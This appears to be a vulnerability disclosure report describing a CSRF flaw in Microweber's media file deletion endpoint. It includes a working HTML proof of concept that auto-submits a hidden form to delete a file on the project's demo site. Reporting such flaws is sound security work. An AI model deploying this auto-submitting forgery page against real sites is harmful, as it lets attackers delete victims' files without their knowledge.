Cross-Site Request Forgery (CSRF) in microweber/microweber
Valid
Reported on
Sep 13th 2021
Description
Attacker able to delete any file In Files module (if this module enabled) there isn't any csrf protection in this endpoint.
Proof of Concept
After open the PoC.html file you can see that the file with name 1.jpg
will be deleted.
//PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.microweber.org/demo/api/media/delete_media_file">
<input type="hidden" name="path[]" value="/home/demomicr/public_html/demo/userfiles/media/default/1.jpg" />
<input type="hidden" name="_method" value="POST" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
We have contacted a member of the
microweber
team and are waiting to hear back
2 years ago
api_callbacks.php#L160-L168
has been validated
media.php#L11-L20
has been validated
to join this conversation